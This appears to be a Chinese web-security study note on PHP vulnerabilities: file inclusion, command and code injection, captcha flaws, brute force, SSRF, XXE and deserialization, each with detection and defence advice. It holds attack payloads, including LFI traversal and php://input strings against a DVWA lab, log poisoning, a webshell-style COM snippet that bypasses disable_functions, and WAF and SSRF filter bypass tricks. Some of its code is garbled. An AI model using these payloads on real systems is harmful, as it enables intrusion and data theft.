简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。

这里主要针对PHP语言。

PHP中的文件包含函数

include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含漏洞的一般特征

?page=a.php

?home=a.html

?file=content

目录遍历(Directory traversal)和文件包含(File include)的一些区别

目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。

文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含。

几种经典的测试方法

?file=../../../../../etc/passwdd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

(通过多个../可以让目录回到根目录中然后再进入目标目录)

编码绕过字符过滤

可以使用多种编码方式进行绕过

%00嵌入任意位置

.的利用

二、文件包含漏洞的利用技巧

包含漏洞上传技巧:

一般将一句话木马和图片进行绑定上传。

包含读文件:

http://10.10.10.128/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php

包含写文件:

构造URL:http://10.10.10.128/dvwa/vulnerabilities/fi/?page=php://input,并且提交POST数据为:

1
<?php system('net user');?>

包含日志文件:

当存在PHP本地文件包含漏洞,但无法上传正常文件时,可以利用Apache日志文件。Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中,例如:

1
http://10.10.10.128/dvwa/vulnerabilities/fi/?page=../../../../Apache-20\logs\access.log

PHP内置的协议:

php伪协议

三、检测方法

找到有包含函数的页面,对函数内容进行替换查看结果;

可以使用工具来代替手工的过程,如Kadimus、Burpsuite的插件LFI scanner checks等;

白盒测试时,可以在源代码中查看allow_url_fopen、allow_url_include等敏感函数是否开启。

四、防御方法

1、严格判断包含中的参数是否外部可控。

2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。

3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。

4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include(“head.php”)”。

5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。

不安全的验证码

一、基本概念

漏洞定义

验证码问题归类为逻辑漏洞类问题,通常是开发者编写代码时存在设计缺陷、可导致某些特殊情况使得验证码可被绕过,从而使得验证码的防御机制形同虚设。

原理过程

1.客户端发起一个请求

2.服务端响应并创建一个新的 SessionID 同时生成一个随机验证码

3.服务端将验证码和 SessionID 一并返回给客户端

4.客户端提交验证码连同 SessionID 给服务端

5.服务端验证验证码同时销毁当前会话,返回给客户端结果

二、验证码的安全问题

客户端问题:

1、 客户端生成验证码:验证码由客户端 JS生成并且仅仅在客户端用JS验证。

2、 验证码输出客户端:输出在HTML中,不应该把验证码的内容发送到客户端 cookie 或输出到response headers的其他字段中。

3、 验证码输出在 cookie 中:有些系统默认不显示验证码,而是在用户校验错误一定次数之后再出现。那如何判断用户已经错误几次了呢?若是如下判断:

(1)在 cookie 中写入一个标记,比如 loginErr = 1,后续错误累加

(2)在 session 中写入一个标记,例如 loginErr = 1,后续错误累加

这样问题在于,要是攻击者不带 Cookie 提交 HTTP 请求或不更新 Cookie中 loginErr 的值反复提交,这样程序会因为无从获取 Cookie/sessionID,会认为攻击者是首次访问,从而验证码不会出现。

服务器端问题:

1、 验证码不过期,没有及时销毁会话导致验证码复用

2、 没有进行非空判断

3、 产生的验证码问题集内的答案非常有限

三、检测方法

简单的方法,先是手工登录几次,查看是否出现验证码以及验证码是否失效,然后再通过Burpsuite来进一步测试。

四、防御方法

1、 强制要求输入验证码,否则必须实施 IP 策略。注意不要被 X-Forwarded-For(用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段) 绕过了。

2、 验证码只能用一次,用完立即过期。

3、 验证码强度增强,使用扭曲、变形、干扰线条、干扰背景色、变换字体等。

4、 大网站最好统一安全验证码,各处使用同一个验证码接口。

命令注入漏洞

一、基本概念

漏洞定义

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,达到任意命令执行的效果。

这里以PHP为主,以后在Java分类中会单独总结Java类的漏洞。

成因

程序未严格区分用户输入的内容是数据还是代码。

PHP与命令执行漏洞相关的函数

1、PHP的5种命令执行函数:system()、exec()、passthru()、shell_exec()、运算符

2、命令执行小集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
cmd="system";
ob_start(cmd);
echo "_GET[cunlide]";
ob_end_flush();
echo "<br>";
system("GET[cunlide]");
echo "<br>";
echo exec("$GET[cunlide]");
echo "<br>";
echo shell_exec("_GET[cunlide]");
echo "<br>";
echo passthru("GET[cunlide]");
echo "<br>";
echo `$GET[cunlide]`;
?>

3、PHP后门木马常用的函数类型:

执行系统命令:system, passthru, shell_exec, exec, popen, proc_open

代码执行与加密:eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

文件包含与生成:require,require_once,include, include_once,file_get_contents, file_put_contents, fputs, fwrite
.htaccess:SetHandler, auto_prepend_file, auto_append_file

二、绕过WAF的方法

1、黑白名单测试绕过

2、可用符号替换

3、换行符\n

4、$IFS替换空格

三、绕过disable_functions的方法

禁止 webshell 执行命令原理:PHP配置文件里的disable_functions = 配置,用来禁止某些 php 函数。

1、 黑名单绕过

2、 系统组件绕过(Windows):

1
2
3
4
5
6
7
8
<?php
command=_POST[a];
wsh = new COM('WScript.shell'); // 生成一个 COM 对象
exec = wsh->exec('cmd.exe /c '.command); //调用对象方法来执行命令
stdout = exec->StdOut();
stroutput = stdout->ReadAll();
echo $stroutput
?>

Shell.Application 也可以实现同样的效果。

彻底的解决方案是直接删除 System32 目录下 wshom.ocx 文件。

3、 扩展库绕过:Linux下可通过编译拓展库进行绕过。

防御方法:将dl函数加入disable_function中禁用。

使用PHP突破Disable_functions执行Linux命令:linux 的 webshell 管理员禁用了exec,system,passthru,popen,shell_exec等等 PHP 执行命令函数,导致不能执行命令,php 提供了一个扩展模块功能,使用 dl 函数能包含一个扩展模块。类似.so或者想windows下的 dll 文件。可以自定义函数来调用 linux 命令而无视Disable_functions的限制。

在PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给 create_function()执行任意命令。

四、检测方法

基于黑盒的测试:简单点就是直接手工在输入内容之后添加各种分号或其它可以绕过的符号再添加命令,最后查看返回结果判断。

基于白盒的测试:查看源代码,搜索PHP中执行系统命令的函数如system、passthru等。

五、防御方法

1、尽量不要执行外部的应用程序或命令。

2、使用自定义函数或函数库实现外部应用程序或命令的功能。

3、在执行 system 等命令执行功能的函数前,确定参数内容。

4、使用 escapeshellarg ()函数和escapeshellcmd()函数处理相关用户输入的内容。escapeshellarg() 函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“\’”,双引号“””会被转义为“\””,分号“ ;”会被转义为“\;”,这样 escapeshellarg 会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。escapeshellcmd()函数会转义内容中的所有shell元字符来进行防御,这些元字符包括:# $ ; , \ ‘ | ? * ~ < > ^ ( ) [ ] { }

5、使用 safe_mode_exec_dir 执行可执行的文件路径。将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录中,并使用 safe_mode_exec_dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在 safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。

暴力破解

一、基本概念

漏洞定义

暴力破解其实并不算是漏洞而是设计缺陷,当页面或程序未对请求的数量进行严格的限制时,攻击者可使用字典一直暴力破解用户名密码,导致密码被破解出来的安全风险。

分类

1、C/S架构暴力破解:

主要使用的破解工具Hydra、Bruter、X-scan

2、B/S架构暴力破解:

使用Burpsuite镜像表单爆破

二、检测方法

简单粗暴的方法,直接使用Burpsuite进行暴力破解,看看有没有什么防暴破的机制即可。

三、防御方法

1、设置复杂的密码

2、采用验证码机制,同时可防范CSRF攻击

3、登陆日志,限制登录次数

4、调用sleep()函数,当登录失败时停止一段时间才允许再次登录,如DVWA的High级的防暴破机制

代码注入

一、基本概念

漏洞定义

代码注入,与命令注入类似,程序未对用户输入内容进行严格校验从而导致恶意代码注入执行,只不过是注入到特定的编程语言代码中,如PHP的eval注入、HTML页面的JS注入、OGNL注入等。

这里以PHP为主,Java代码会在Java分类中单独总结。

成因

程序未严格区分用户输入的内容是数据还是代码。

PHP中代码注入函数

eval()、assert()、preg_replace()、str_replace()、call_user_func()…等函数。

eval()函数注入攻击,将参数字符串作为PHP 程序代码来执行,用户可以将 PHP 代码保存成字符串的形式,然后传递给 eval 函数执行。

PHP中的assert()、preg_replace()、str_replace()以及call_user_func()函数同样可以实现eval 注入攻击的效果。preg_replace()函数的作用是用来执行常规表达式的查找和替换的,当替换内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。

二、绕过WAF的方法

和命令注入类似。

三、检测方法

基于黑盒的测试:简单点就是直接手工在输入内容之后添加各种分号或其它可以绕过的符号再添加命令,最后查看返回结果判断。

基于白盒的测试:查看源代码,搜索与执行PHP代码的函数如eval、assert等。

四、防御方法

1、尽量不要执行外部的应用程序或命令。

2、使用自定义函数或函数库实现外部应用程序或命令的功能。

3、在执行php中eval()等代码执行功能的函数前,确定参数内容。

4、使用 escapeshellarg ()函数和escapeshellcmd()函数处理相关用户输入的内容。escapeshellarg() 函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“\’”,双引号“””会被转义为“\””,分号“ ;”会被转义为“\;”,这样 escapeshellarg 会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。escapeshellcmd()函数会转义内容中的所有shell元字符来进行防御,这些元字符包括:# $ ; , \ ‘ | ? * ~ < > ^ ( ) [ ] { }

5、使用 safe_mode_exec_dir 执行可执行的文件路径。将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录中,并使用 safe_mode_exec_dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在 safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。

SSRF

一、基本概念

漏洞定义

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。

形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。

出现漏洞的常见位置

1)分享:通过URL地址分享网页内容

2)转码服务

3)在线翻译

4)图片加载与下载:通过URL地址加载或下载图片

5)图片、文章收藏功能

6)未公开的api实现以及其他调用URL的功能

7)从URL关键字中寻找

二、绕过WAF的方法

主要针对URL过滤的绕过。

1、 使用@符号:我们请求http://a.com@b.com与请求http://b.com的结果是一致的;

2、 IP地址转换进制访问:如115.239.210.26 = 16373751032

3、 添加端口号:http://127.0.0.1:8080

4、 使用短链接:http://dwz.cn/11SMa

三、检测方法

1、因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的来判断是否存在SSRF漏洞

2、在页面源码中查找访问的资源地址 ,如果该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞

四、防御方法

1、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3、限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4、黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5、禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

XML注入

一、基本概念

漏洞定义

XML是一种可扩展标记语言,可以理解为HTML的扩展语言,一般用于数据存储、数据传输、数据共享,其中DTD文档来解释XML文档。XML必须包含根元素,所有的标签都要闭合,对大小写敏感,并且属性值需要加引号。

XML注入即XXE(XML外部实体注入),是指利用可控的参数或入口来加载不可控的参数或代码,造成不可控的运行结果。

ENTITY实体:如果在XML文档中需要频繁使用某一条数据,可以预先给这个数据起一个别名。即一个ENTITY,然后再在文档中调用它。

XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种在为参数在DTD文件中使用。

定义语法:\<!DOCTYPE 文件名 [ \<!ENTITY 实体名 “实体内容”> ] >

定义好的ENTITY在文档中通过“&实体名;”来使用。

正常来说,DTD分为内部DTD与外部DTD,内部DTD包含在XML文档中,外部DTD则通过URL引用。一个DTD文件是以.dtd结尾的文本文件 。前面还要加上SYSTEM,但是如果此处没有任何过滤,我们完全可以引用系统敏感文件的,前提是页面有回显,否则你只引用了文件但不知道文件内容。

成因:

Xfire使用了STAX解析XML导致XML实体注入发生。

1、直接引入XML外部实体

2、未加任何过滤直接parse

漏洞危害:

1、任意文件读取:通过外部实体引用,可以获取文件内容

2、URL请求,SSRF

3、DoS

4、远程代码执行:在PHP开启expect扩展的前提下

二、检测方法

盲测:判断request的XML请求是否被解析,可以根据请求头中的“SOAP”字段来判断,也可以根据错误返回中有“SAX”字样。

漏洞挖掘总结:一般为Xfire开发的或者某些wsdl结尾的文件。

1、Service为Xfire

2、明显的XML作为内容的输入点

3、某些以JSON格式的Request

三、防御方法

1、禁用外部实体

2、过滤和验证用户提交的XML数据

3、不允许XML中含有任何自己声明的DTD

4、有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可

反序列化漏洞

一、基本概念

漏洞定义

通常我们定义了一个类的对象,其中保存了一些属性值,为了方便下次可以继续使用在这个对象或者在其他的文件中可以使用该对象,于是就可以调用serialize()函数将该对象序列化为字符串的形式,将该字符串保存起来,等到需要使用该对象时只需将该字符串传过去并调用unserialize()函数对其反序列化即可。

这里以PHP为例,Java的会在Java分类单独总结。

PHP在进行反序列化操作时,若存在相应的魔法函数、unserialize()函数的参数可控且可以传递到魔法函数中执行相应的敏感操作,则会造成PHP反序列化漏洞的风险。

serialize():将一个对象转成字符串形式,方便保存以便于下次再次反序列化出该对象直接使用。

unserialize():将序列化后的字符串反序列化成一个对象。

利用前提

unserialize()函数的参数可控;

代码中存在一个构造函数、析构函数、__wakeup()函数中有向php文件中写数据的操作的类或执行PHP代码或命令执行的类;

所写的内容需要有对象中的成员变量的值。

PHP魔法函数

下面列下可能经常碰到的魔法函数,其余的查查资料也知道了。

__construct():构造函数,当一个对象创建时被调用。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

__destruct():析构函数,当一个对象销毁时被调用。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

__toString():当一个对象被当作一个字符串使用。此方法必须返回一个字符串,否则将发出一条E_RECOVERABLE_ERROR级别的致命错误。

__sleep():常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误。

_wakeup():经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。unserialize()会检查是否存在一个\_wakeup()方法。如果存在,则会先调用__wakeup(),预先准备对象需要的资源。

PHP反序列化漏洞分类

unserialize()反序列化漏洞

session反序列化漏洞

phar反序列化漏洞

二、检测方法

以PHP为例,全局搜索PHP的反序列化函数如unserialize(),查看其中涉及的文件代码中是否含有魔法函数或其他危险的类方法,且进一步排查魔法函数的内容是否外界可控且存在危险操作。

三、防御方法

1、要严格控制unserialize()函数的参数,坚持用户所输入的信息都是不可靠的原则;

2、要对于反序列化后的变量内容进行检查,以确定内容没有被污染。

XPath注入

一、基本概念

漏洞定义

待完善…

二、检测方法

待完善…

三、防御方法

待完善…

LDAP注入

具体可参考技术详解:基于Web的LDAP注入漏洞

CRLF注入

待完善…

URL不安全重定向

待完善…

点击劫持

待完善…

HTML5安全

待完善…

Web缓存攻击

待完善…